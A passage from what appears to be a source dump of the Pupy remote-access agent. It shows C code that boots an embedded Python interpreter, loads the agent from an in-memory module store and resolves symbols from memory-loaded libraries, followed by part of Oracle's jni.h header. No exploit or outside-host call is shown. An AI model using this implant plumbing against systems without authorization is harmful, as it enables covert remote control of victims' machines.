goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"base64\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"bz2\", 0))\n        goto lbExit4;\n  */\n\t\t\n\t\tdprint(\"Preload encodings\\n\");\n\t\t\n\t\tpy_stdlib_keys = PyDict_Keys(py_stdlib);\n\t\tif (!py_stdlib_keys)\n\t\t\tgoto lbExit1;\n\n\t\tpy_stdlib_keys_iter = PyObject_GetIter(py_stdlib_keys);\n\t\tif (!py_stdlib_keys_iter) {\n\t\t\tPy_DecRef(py_stdlib_keys);\n\t\t\tgoto lbExit1;\n\t\t}\n\n\t\twhile ((py_stdlib_keys_item = PyIter_Next(py_stdlib_keys_iter))) {\n\t\t\tchar *filepath;\n\t\t\tPy_ssize_t filepath_len;\n\t\t\tfilepath = PyUnicode_AsUTF8AndSize(py_stdlib_keys_item, &filepath_len);\n\t\t\tif (!filepath) {\n\t\t\t\tPyErr_Clear();\n\t\t\t} else if (strstr(filepath, ENCODINGS \"/\") == filepath &&\n\t\t\t\tstrstr(filepath, ENCODINGS \"/\" VPATH_INIT_EXT) != filepath) {\n\t\t\t\tchar *child = strdup(filepath);\n\t\t\t\tchild[last_chr_offt(child, '.')] = '\\0';\n\t\t\t\tchild[sizeof(ENCODINGS) - 1] = '.';\n\n\t\t\t\tif (!py_module_from_stdlib(py_stdlib, child, 0)) {\n\t\t\t\t\tdprint(\"Load encoding: %s (%s): failed\\n\", child, filepath);\n\t\t\t\t\tPyErr_Clear();\n\t\t\t\t} else {\n\t\t\t\t\tdprint(\"Loaded encoding: %s\\n\", child);\n\t\t\t\t}\n\n\t\t\t\tfree(child);\n\t\t\t}\n\n\t\t\tPy_DecRef(py_stdlib_keys_item);\n\t\t}\n\t\tPy_DecRef(py_stdlib_keys_iter);\n\n\n\n    dprint(\"Calling _Py_InitializeMain() ...\\n\");\n    status = _Py_InitializeMain();\n /*   if (PyStatus_Exception(status)) {\n        dprint(\"Error calling _Py_InitializeMain\\n\");\n        Py_ExitStatusException(status);\n    }\n   */ \n    dprint(\"Clean sys defaults\\n\");\n\n    py_clear_sys_list(\"path\");\n    //py_clear_sys_list(\"meta_path\");\n    //py_clear_sys_list(\"path_hooks\");\n    \n    //mandatory !!\n    py_clear_sys_dict(\"path_importer_cache\");\n    \n    /*\n    res = PyRun_SimpleString(\n        \"import _pupy;\"\n        \"print(_pupy, \"\n               \"file=sys.stderr)\");\n    if (res < 0) {\n        exit(1);\n    }\n    */\n\n    dprint(\"Loading pupy\\n\");\n\n    if (!py_module_from_stdlib(py_stdlib, \"pupy\", 1))\n        goto lbExit4;\n    //if (!py_module_from_stdlib(py_stdlib, \"pupy.agent.winerror_hacks\", 0))\n    //    goto lbExit4;\n\n    pupy = py_module_from_stdlib(py_stdlib, \"pupy.agent\", 1);\n    if (!pupy)\n        goto lbExit4;\n\n    if (!py_module_from_stdlib(py_stdlib, \"pupy.agent.utils\", 0))\n        goto lbExit4;\n\n\n    pupy_dict = PyModule_GetDict(pupy);\n    py_main = PyDict_GetItemString(pupy_dict, \"main\");\n\n    if (!py_main) {\n        dprint(\"pupy.agent.main not found\\n\");\n        goto lbExit3;\n    }\n\n#ifdef DEBUG\n    py_debug = PyBool_FromLong(1);\n#else\n    py_debug = PyBool_FromLong(0);\n#endif\n\n    dprint(\n        \"Call pupy.agent.main: %p(%p, %p, %p)\\n\",\n        py_main, Py_None, py_debug, py_config\n    );\n\n    Py_IncRef(py_main);\n    Py_IncRef(Py_None);\n    Py_IncRef(py_debug);\n\n    py_eval_result = PyObject_CallFunctionObjArgs(\n        py_main, Py_None, py_debug, py_config, py_stdlib, NULL);\n\n    if (!py_eval_result) {\n        PyErr_Print();\n    } else {\n        Py_DecRef(py_eval_result);\n    }\n\n    Py_DecRef(py_main);\n    Py_DecRef(Py_None);\n    Py_DecRef(py_debug);\n\n    dprint(\"Completed (py_eval_result: %p)\\n\", py_eval_result);\n\nlbExit4:\n    Py_DecRef(py_config);\n\nlbExit3:\n    Py_DecRef(py_config_list);\n\nlbExit2:\n    //Py_DecRef(py_stdlib);\n\nlbExit1:\n    dprint(\"Exit\\n\");\n}\n\nvoid deinitialize_python() {\n    dprint(\"Deinitialize python\\n\");\n    PyGILState_Release(restore_state);\n    Py_Finalize();\n}\n\nint Py_RefCnt(const PyObject *object) {\n    if (!object)\n        return -1;\n\n    return *((int *) object);\n}\n"
  },
  {
    "path": "client/common/Python-dynload.h",
    "content": "/*\n    WARNING !\n    DEPENDS ON PYTHON ABI!\n*/\n\n#ifndef PYTHON_DYNLOAD_H\n#define PYTHON_DYNLOAD_H\n\n#include <stdint.h>\n#include <string.h>\n#include <sys/types.h>\n\n#define CO_MAXBLOCKS 20\n\ntypedef void *PyObject;\n\ntypedef struct {\n    int b_type;\n    int b_handler;\n    int b_level;\n} PyTryBlock;\n\ntypedef PyObject *(*PyCFunction)(PyObject *, PyObject *);\n\ntypedef\n    enum {PyGILState_LOCKED, PyGILState_UNLOCKED}\n        PyGILState_STATE;\ntypedef struct {\n    char *ml_name;\n    PyCFunction ml_meth;\n    int ml_flags;\n    char *ml_doc;\n} PyMethodDef;\n\nstruct py_imports {\n    char *name;\n    void (*proc)();\n};\n\n#ifdef _WIN64\n    #define ssize_t signed long long\n#else\n    #define ssize_t signed long\n#endif\n\n#ifndef Py_ssize_t\n    #define Py_ssize_t ssize_t\n#endif\n\n#ifndef BOOL\n    typedef int BOOL;\n    #define TRUE 1\n    #define FALSE 0\n#endif\n\n#ifndef Py_INCREF\n    #define Py_INCREF Py_IncRef\n#endif\n\n#ifndef Py_DECREF\n    #define Py_DECREF Py_DecRef\n#endif\n\n#ifndef Py_XINCREF\n    #define Py_XINCREF(op) do { if ((op) == NULL) ; else Py_INCREF(op); } while (0)\n#endif\n\n#ifndef Py_XDECREF\n    #define Py_XDECREF(op) do { if ((op) == NULL) ; else Py_DECREF(op); } while (0)\n#endif\n\n#define METH_OLDARGS  0x0000\n#define METH_VARARGS  0x0001\n#define METH_KEYWORDS 0x0002\n/* METH_NOARGS and METH_O must not be combined with the flags above. */\n#define METH_NOARGS   0x0004\n#define METH_O        0x0008\n\n/* METH_CLASS and METH_STATIC are a little different; these control\n   the construction of methods for a class.  These cannot be used for\n   functions in modules. */\n#define METH_CLASS    0x0010\n#define METH_STATIC   0x0020\n\n#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL)\n\n#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type)\n#define PyUnicode_Check(op) PyObject_IsInstance(op, &PyUnicode_Type)\n#define PyString_Check(op) PyObject_IsInstance(op, &PyString_Type)\n\n#define Py_None (&_Py_NoneStruct)\n\n#define DL_EXPORT(x) x\n\n#define PYTHON_API_VERSION 1013\n\n\nint Py_RefCnt(const PyObject *object);\n\nextern struct py_imports py_sym_table[];\n\nBOOL initialize_python(int argc, char *argv[], BOOL is_shared_object);\nvoid run_pupy(void);\nvoid deinitialize_python(void);\n\n#define VPATH_PREFIX \"pupy://\"\n#define VPATH_EXT \".pyo\"\n#define VPATH_INIT_EXT \"/__init__\" VPATH_EXT\n\n#define ENCODINGS \"encodings\"\n\n\ntypedef struct {\n    Py_ssize_t ob_refcnt;\n    struct _typeobject *ob_type;\n\n    int co_argcount;\n    int co_nlocals;\n    int co_stacksize;\n    int co_flags;\n\n    PyObject *co_code;\n    PyObject *co_consts;\n    PyObject *co_names;\n    PyObject *co_varnames;\n    PyObject *co_freevars;\n    PyObject *co_cellvars;\n    PyObject *co_filename;\n    PyObject *co_name;\n    int co_firstlineno;\n    PyObject *co_lnotab;\n    void *co_zombieframe;\n    PyObject *co_weakreflist;\n} PyCodeObject;\n\ntypedef struct _is {\n\n    struct _is *next;\n    struct _ts *tstate_head;\n\n    PyObject *modules;\n    PyObject *sysdict;\n    PyObject *builtins;\n    PyObject *modules_reloading;\n\n    PyObject *codec_search_path;\n    PyObject *codec_search_cache;\n    PyObject *codec_error_registry;\n\n    /* PRIVATE PART OMITTED */\n\n} PyInterpreterState;\n\nstruct _frame;\n\ntypedef struct _ts {\n    struct _ts *next;\n    PyInterpreterState *interp;\n    struct _frame *frame;\n\n    int recursion_depth;\n    int tracing;\n    int use_tracing;\n\n    void *c_profilefunc;\n    void *c_tracefunc;\n\n    PyObject *c_profileobj;\n    PyObject *c_traceobj;\n\n    PyObject *curexc_type;\n    PyObject *curexc_value;\n    PyObject *curexc_traceback;\n\n    PyObject *exc_type;\n    PyObject *exc_value;\n    PyObject *exc_traceback;\n\n    PyObject *dict;\n\n    int tick_counter;\n    int gilstate_counter;\n\n    PyObject *async_exc;\n    long thread_id;\n\n    int trash_delete_nesting;\n    PyObject *trash_delete_later;\n} PyThreadState;\n\ntypedef struct _frame {\n    Py_ssize_t ob_refcnt;\n    struct _typeobject *ob_type;\n    Py_ssize_t ob_size;\n\n    struct _frame *f_back;\n    PyCodeObject *f_code;\n    PyObject *f_builtins;\n    PyObject *f_globals;\n    PyObject *f_locals;\n    PyObject **f_valuestack;\n    PyObject **f_stacktop;\n    PyObject *f_trace;\n\n    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;\n\n    PyThreadState *f_tstate;\n    int f_lasti;\n    int f_lineno;\n    int f_iblock;\n\n    /* PRIVATE */\n} PyFrameObject;\n\n#include \"import-tab.h\"\n\n#endif // PYTHON_DYNLOAD_H\n"
  },
  {
    "path": "client/common/Python-stacktrace.c",
    "content": "#include \"debug.h\"\n#include \"Python-dynload-os.h\"\n#include \"Python-dynload.h\"\n\ntypedef void (*Py_GetStackTraceCb_t) (const char *line, void *cbdata);\ntypedef int (*Py_IsInitialized_t)(void);\ntypedef int (*PyEval_ThreadsInitialized_t)(void);\ntypedef PyGILState_STATE (*PyGILState_Ensure_t)(void);\ntypedef void (*PyGILState_Release_t)(PyGILState_STATE);\ntypedef PyThreadState* (*PyGILState_GetThisThreadState_t)(void);\ntypedef int (*PyCode_Addr2Line_t)(PyCodeObject *, int);\n\nstatic\nint Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata) {\n    Py_IsInitialized_t pIsInitialized = NULL;\n    PyEval_ThreadsInitialized_t pThreadsInitialized = NULL;\n    PyGILState_Ensure_t pGILState_Ensure = NULL;\n    PyGILState_Release_t pGILState_Release = NULL;\n    PyGILState_GetThisThreadState_t pGILState_GetThisThreadState = NULL;\n    PyCode_Addr2Line_t pCode_Addr2Line = NULL;\n\n    PyGILState_STATE GIL_state;\n    PyThreadState* Current_Thread_state;\n    PyThreadState* Thread_state;\n    BOOL blCurrentThreadDumped = FALSE;\n    DWORD dwDumpedThreadsCount = 0;\n\n    HMODULE hPythonLib = CheckLibraryLoaded(PYTHON_LIB_NAME);\n    if (!hPythonLib) {\n        dprint(\n            \"Py_GetCurrentThreadStackTrace: python lib (\\\"%s\\\") not found\\n\",\n            PYTHON_LIB_NAME\n        );\n        return -1;\n    }\n\n    pIsInitialized = (Py_IsInitialized_t) MemResolveSymbol(\n      hPythonLib, \"Py_IsInitialized\");\n    pThreadsInitialized = (PyEval_ThreadsInitialized_t) MemResolveSymbol(\n      hPythonLib, \"PyEval_ThreadsInitialized\");\n    pGILState_Ensure = (PyGILState_Ensure_t) MemResolveSymbol(\n      hPythonLib, \"PyGILState_Ensure\");\n    pGILState_Release = (PyGILState_Release_t) MemResolveSymbol(\n      hPythonLib, \"PyGILState_Release\");\n    pGILState_GetThisThreadState = (PyGILState_GetThisThreadState_t) MemResolveSymbol(\n      hPythonLib, \"PyGILState_GetThisThreadState\");\n    pCode_Addr2Line = (PyCode_Addr2Line_t) MemResolveSymbol(\n      hPythonLib, \"PyCode_Addr2Line\");\n\n    if (!(pIsInitialized && pThreadsInitialized && pGILState_Ensure &&\n            pGILState_Release && pGILState_GetThisThreadState && pCode_Addr2Line))\n    {\n        dprint(\n            \"Py_GetCurrentThreadStackTrace: Not all functions found\\n\"\n        );\n        return -2;\n    }\n\n    if (!pIsInitialized()) {\n        dprint(\n            \"Py_GetCurrentThreadStackTrace: Python is not initialized\\n\"\n        );\n        return -3;\n    }\n\n    if (!pThreadsInitialized()) {\n        dprint(\n            \"Py_GetCurrentThreadStackTrace: Python threads are not initialized\\n\"\n        );\n\n        return -4;\n    }\n\n    Current_Thread_state = pGILState_GetThisThreadState();\n    if (!Current_Thread_state) {\n        dprint(\n            \"Py_GetCurrentThreadStackTrace: Thread state is NULL\\n\"\n        );\n\n        return -5;\n    }\n\n    dprint(\"Py_GetCurrentThreadStackTrace: start\\n\");\n    GIL_state = pGILState_Ensure();\n\n    Thread_state = Current_Thread_state;\n\n    while (Thread_state && dwDumpedThreadsCount ++ < 256) {\n        if (Thread_state == Current_Thread_state) {\n            if (blCurrentThreadDumped) {\n                dprint(\"Current thread was already dumped\\n\");\n                Thread_state = Thread_state->next;\n                continue;\n            } else {\n                dprint(\"Dumping current thread first time\\n\");\n                cb(cbdata, \"Current Thread\", NULL, Thread_state->thread_id);\n            }\n        } else {\n            cb(cbdata, \"Thread\", NULL, Thread_state->thread_id);\n        }\n\n        if (Thread_state->frame) {\n            PyFrameObject *frame = Thread_state->frame;\n\n            dprint(\n                \"Py_GetCurrentThreadStackTrace: parse %p (Thread ID: %d)\\n\",\n                frame, Thread_state->thread_id\n            );\n\n            dprint(\n                \"Py_GetCurrentThreadStackTrace: Top frame object: %p size=%d refs=%d\\n\",\n                frame, frame->ob_size, frame->ob_refcnt\n            );\n\n            dprint(\n                \"Py_GetCurrentThreadStackTrace: Top frame code object: %p refs=%d\\n\",\n                frame->f_code, frame->f_code->ob_refcnt\n            );\n\n            dprint(\n                \"Py_GetCurrentThreadStackTrace: Top frame code object: function=%s, file=%s\\n\",\n                frame->f_code->co_name, frame->f_code->co_filename\n            );\n\n            while (frame) {\n                int line = pCode_Addr2Line(frame->f_code, frame->f_lasti);\n                const char *funcname = PyBytes_AsString(frame->f_code->co_name);\n                const char *filename = PyBytes_AsString(frame->f_code->co_filename);\n\n                dprint(\n                    \"Py_GetCurrentThreadStackTrace: func=%s file=%s line=%d\\n\",\n                    funcname, filename, line\n                );\n\n                cb(cbdata, funcname, filename, line);\n\n                frame = frame->f_back;\n            }\n        }\n\n        if (Thread_state == Current_Thread_state) {\n            dprint(\"Switching to all threads\\n\");\n            Thread_state = Current_Thread_state->interp->tstate_head;\n            blCurrentThreadDumped = TRUE;\n        } else {\n            dprint(\"Continue to dump all threads\\n\");\n            Thread_state = Thread_state->next;\n        }\n    }\n\n    pGILState_Release(GIL_state);\n    dprint(\"Py_GetCurrentThreadStackTrace: complete\\n\");\n    return 0;\n}\n"
  },
  {
    "path": "client/common/Python-stacktrace.h",
    "content": "#ifndef PYTHON_STACKTRACE_H\n#define PYTHON_STACKTRACE_H\n\ntypedef void (*Py_GetStackTraceCb_t)(\n    void *cbdata, const char *function, const char *file, unsigned int line\n);\n\nstatic  int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata);\n\n#endif\n\n"
  },
  {
    "path": "client/common/debug.c",
    "content": "#include \"debug.h\"\n\nstatic FILE* debug_log = NULL;\n\nint dprint(const char *fmt, ...) {\n    va_list args;\n    int n;\n    FILE *log = stdout;\n\n    if (debug_log != NULL)\n        log = debug_log;\n\n    va_start (args, fmt);\n    n = vfprintf(log, fmt, args);\n    va_end (args);\n    fflush(log);\n    return n;\n}\n\n#ifdef _WIN32\nint dwprint(const wchar_t *fmt, ...) {\n    va_list args;\n    int n;\n    FILE *log = stdout;\n\n    if (debug_log != NULL)\n        log = debug_log;\n\n    va_start (args, fmt);\n    n = vfwprintf(log, fmt, args);\n    va_end (args);\n    fflush(log);\n    return n;\n}\n#endif\n\nvoid set_debug_log(const char *dest) {\n    FILE * new_debug_log = fopen(dest, \"w+\");\n    FILE * old_debug_log = debug_log;\n    if (!new_debug_log) {\n        dprint(\"Failed to open new debug log dest: %s\\n\", dest);\n        return;\n    }\n\n    dprint(\"Redirecting debug log to %s\\n\", dest);\n\n    debug_log = new_debug_log;\n\n    if (old_debug_log)\n        fclose(old_debug_log);\n}\n"
  },
  {
    "path": "client/common/debug.h",
    "content": "#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#include <stdio.h>\n#include <stdarg.h>\n\n#ifdef DEBUG\n\nint dprint(const char *fmt, ...);\n#ifdef _WIN32\nint dwprint(const wchar_t *fmt, ...);\n#endif\n\nvoid set_debug_log(const char *dest);\n\n\n#define DOC(x) x\n\n#else\n#define DOC(x) \"\"\n\n#define dprint(...)\tdo {} while (0)\n#define dwprint(...)\tdo {} while (0)//\n\n#endif\n\n#endif /* __DEBUG_H */\n"
  },
  {
    "path": "client/common/jni.h",
    "content": "/*\n * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.  Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n/*\n * We used part of Netscape's Java Runtime Interface (JRI) as the starting\n * point of our design and implementation.\n */\n\n/******************************************************************************\n * Java Runtime Interface\n * Copyright (c) 1996 Netscape Communications Corporation. All rights reserved.\n *****************************************************************************/\n\n#ifndef _JAVASOFT_JNI_H_\n#define _JAVASOFT_JNI_H_\n\n#include <stdio.h>\n#include <stdarg.h>\n\n/* jni_md.h contains the machine-dependent typedefs for jbyte, jint\n   and jlong */\n\n#include \"jni_md.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/*\n * JNI Types\n */\n\n#ifndef JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H\n\ntypedef unsigned char   jboolean;\ntypedef unsigned short  jchar;\ntypedef short           jshort;\ntypedef float           jfloat;\ntypedef double          jdouble;\n\ntypedef jint            jsize;\n\n#ifdef __cplusplus\n\nclass _jobject {};\nclass _jclass : public _jobject {};\nclass _jthrowable : public _jobject {};\nclass _jstring : public _jobject {};\nclass _jarray : public _jobject {};\nclass _jbooleanArray : public _jarray {};\nclass _jbyteArray : public _jarray {};\nclass _jcharArray : public _jarray {};\nclass _jshortArray : public _jarray {};\nclass _jintArray : public _jarray {};\nclass _jlongArray : public _jarray {};\nclass _jfloatArray : public _jarray {};\nclass _jdoubleArray : public _jarray {};\nclass _jobjectArray : public _jarray {};\n\ntypedef _jobject *jobject;\ntypedef _jclass *jclass;\ntypedef _jthrowable *jthrowable;\ntypedef _jstring *jstring;\ntypedef _jarray *jarray;\ntypedef _jbooleanArray *jbooleanArray;\ntypedef _jbyteArray *jbyteArray;\ntypedef _jcharArray *jcharArray;\ntypedef _jshortArray *jshortArray;\ntypedef _jintArray *jintArray;\ntypedef _jlongArray *jlongArray;\ntypedef _jfloatArray *jfloatArray;\ntypedef _jdoubleArray *jdoubleArray;\ntypedef _jobjectArray *jobjectArray;\n\n#else\n\nstruct _jobject;\n\ntypedef struct _jobject *jobject;\ntypedef jobject jclass;\ntypedef jobject jthrowable;\ntypedef jobject jstring;\ntypedef jobject jarray;\ntypedef jarray jbooleanArray;\ntypedef jarray jbyteArray;\ntypedef jarray jcharArray;\ntypedef jarray jshortArray;\ntypedef jarray jintArray;\ntypedef jarray jlongArray;\ntypedef jarray jfloatArray;\ntypedef jarray jdoubleArray;\ntypedef jarray jobjectArray;\n\n#endif\n\ntypedef jobject jweak;\n\ntypedef union jvalue {\n    jboolean z;\n    jbyte    b;\n    jchar    c;\n    jshort   s;\n    jint     i;\n    jlong    j;\n    jfloat   f;\n    jdouble  d;\n    jobject  l;\n} jvalue;\n\nstruct _jfieldID;\ntypedef struct _jfieldID *jfieldID;\n\nstruct _jmethodID;\ntypedef struct _jmethodID *jmethodID;\n\n/* Return values from jobjectRefType */\ntypedef enum _jobjectType {\n     JNIInvalidRefType    = 0,\n     JNILocalRefType      = 1,\n     JNIGlobalRefType     = 2,\n     JNIWeakGlobalRefType = 3\n} jobjectRefType;\n\n\n#endif /* JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H */\n\n/*\n * jboolean constants\n */\n\n#define JNI_FALSE 0\n#define JNI_TRUE 1\n\n/*\n * possible return values for JNI functions.\n */\n\n#define JNI_OK           0                 /* success */\n#define JNI_ERR          (-1)              /* unknown error */\n#define JNI_EDETACHED    (-2)              /* thread detached from the VM */\n#define JNI_EVERSION     (-3)              /* JNI version error */\n#define JNI_ENOMEM       (-4)              /* not enough memory */\n#define JNI_EEXIST       (-5)              /* VM already created */\n#define JNI_EINVAL       (-6)              /* invalid arguments */\n\n/*\n * used in ReleaseScalarArrayElements\n */\n\n#define JNI_COMMIT 1\n#define JNI_ABORT 2\n\n/*\n * used in RegisterNatives to describe native method name, signature,\n * and function pointer.\n */\n\ntypedef struct {\n    char *name;\n    char *signature;\n    void *fnPtr;\n} JNINativeMethod;\n\n/*\n * JNI Native Method Interface.\n */\n\nstruct JNINativeInterface_;\n\nstruct JNIEnv_;\n\n#ifdef __cplusplus\ntypedef JNIEnv_ JNIEnv;\n#else\ntypedef const struct JNINativeInterface_ *JNIEnv;\n#endif\n\n/*\n * JNI Invocation Interface.\n */\n\nstruct JNIInvokeInterface_;\n\nstruct JavaVM_;\n\n#ifdef __cplusplus\ntypedef JavaVM_ JavaVM;\n#else\ntypedef const struct JNIInvokeInterface_ *JavaVM;\n#endif\n\nstruct JNINativeInterface_ {\n    void *reserved0;\n    void *reserved1;\n    void *reserved2;\n\n    void *reserved3;\n    jint (JNICALL *GetVersion)(JNIEnv *env);\n\n    jclass (JNICALL *DefineClass)\n      (JNIEnv *env, const char *name, jobject loader, const jbyte *buf,\n       jsize len);\n    jclass (JNICALL *FindClass)\n      (JNIEnv *env, const char *name);\n\n    jmethodID (JNICALL *FromReflectedMethod)\n      (JNIEnv *env, jobject method);\n    jfieldID (JNICALL *FromReflectedField)\n      (JNIEnv *env, jobject field);\n\n    jobject (JNICALL *ToReflectedMethod)\n      (JNIEnv *env, jclass cls, jmethodID methodID, jboolean isStatic);\n\n    jclass (JNICALL *GetSuperclass)\n      (JNIEnv *env, jclass sub);\n    jboolean (JNICALL *IsAssignableFrom)\n      (JNIEnv *env, jclass sub, jclass sup);\n\n    jobject (JNICALL *ToReflectedField)\n      (JNIEnv *env, jclass cls, jfieldID fieldID, jboolean isStatic);\n\n    jint (JNICALL *Throw)\n      (JNIEnv *env, jthrowable obj);\n    jint (JNICALL *ThrowNew)\n      (JNIEnv *env, jclass clazz, const char *msg);\n    jthrowable (JNICALL *ExceptionOccurred)\n      (JNIEnv *env);\n    void (JNICALL *ExceptionDescribe)\n      (JNIEnv *env);\n    void (JNICALL *ExceptionClear)\n      (JNIEnv *env);\n    void (JNICALL *FatalError)\n      (JNIEnv *env, const char *msg);\n\n    jint (JNICALL *PushLocalFrame)\n      (JNIEnv *env, jint capacity);\n    jobject (JNICALL *PopLocalFrame)\n      (JNIEnv *env, jobject result);\n\n    jobject (JNICALL *NewGlobalRef)\n      (JNIEnv *env, jobject lobj);\n    void (JNICALL *DeleteGlobalRef)\n      (JNIEnv *env, jobject gref);\n    void (JNICALL *DeleteLocalRef)\n      (JNIEnv *env, jobject obj);\n    jboolean (JNICALL *IsSameObject)\n      (JNIEnv *env, jobject obj1, jobject obj2);\n    jobject (JNICALL *NewLocalRef)\n      (JNIEnv *env, jobject ref);\n    jint (JNICALL *EnsureLocalCapacity)\n      (JNIEnv *env, jint capacity);\n\n    jobject (JNICALL *AllocObject)\n      (JNIEnv *env, jclass clazz);\n    jobject (JNICALL *NewObject)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jobject (JNICALL *NewObjectV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jobject (JNICALL *NewObjectA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jclass (JNICALL *GetObjectClass)\n      (JNIEnv *env, jobject obj);\n    jboolean (JNICALL *IsInstanceOf)\n      (JNIEnv *env, jobject obj, jclass clazz);\n\n    jmethodID (JNICALL *GetMethodID)\n      (JNIEnv *env, jclass clazz, const char *name, const char *sig);\n\n    jobject (JNICALL *CallObjectMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jobject (JNICALL *CallObjectMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jobject (JNICALL *CallObjectMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);\n\n    jboolean (JNICALL *CallBooleanMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jboolean (JNICALL *CallBooleanMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jboolean (JNICALL *CallBooleanMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);\n\n    jbyte (JNICALL *CallByteMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jbyte (JNICALL *CallByteMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jbyte (JNICALL *CallByteMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jchar (JNICALL *CallCharMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jchar (JNICALL *CallCharMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jchar (JNICALL *CallCharMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jshort (JNICALL *CallShortMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jshort (JNICALL *CallShortMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jshort (JNICALL *CallShortMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jint (JNICALL *CallIntMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jint (JNICALL *CallIntMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jint (JNICALL *CallIntMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jlong (JNICALL *CallLongMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jlong (JNICALL *CallLongMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jlong (JNICALL *CallLongMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jfloat (JNICALL *CallFloatMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jfloat (JNICALL *CallFloatMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jfloat (JNICALL *CallFloatMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    jdouble (JNICALL *CallDoubleMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    jdouble (JNICALL *CallDoubleMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    jdouble (JNICALL *CallDoubleMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);\n\n    void (JNICALL *CallVoidMethod)\n      (JNIEnv *env, jobject obj, jmethodID methodID, ...);\n    void (JNICALL *CallVoidMethodV)\n      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);\n    void (JNICALL *CallVoidMethodA)\n      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);\n\n    jobject (JNICALL *CallNonvirtualObjectMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jobject (JNICALL *CallNonvirtualObjectMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jobject (JNICALL *CallNonvirtualObjectMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue * args);\n\n    jboolean (JNICALL *CallNonvirtualBooleanMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jboolean (JNICALL *CallNonvirtualBooleanMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jboolean (JNICALL *CallNonvirtualBooleanMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue * args);\n\n    jbyte (JNICALL *CallNonvirtualByteMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jbyte (JNICALL *CallNonvirtualByteMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jbyte (JNICALL *CallNonvirtualByteMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jchar (JNICALL *CallNonvirtualCharMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jchar (JNICALL *CallNonvirtualCharMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    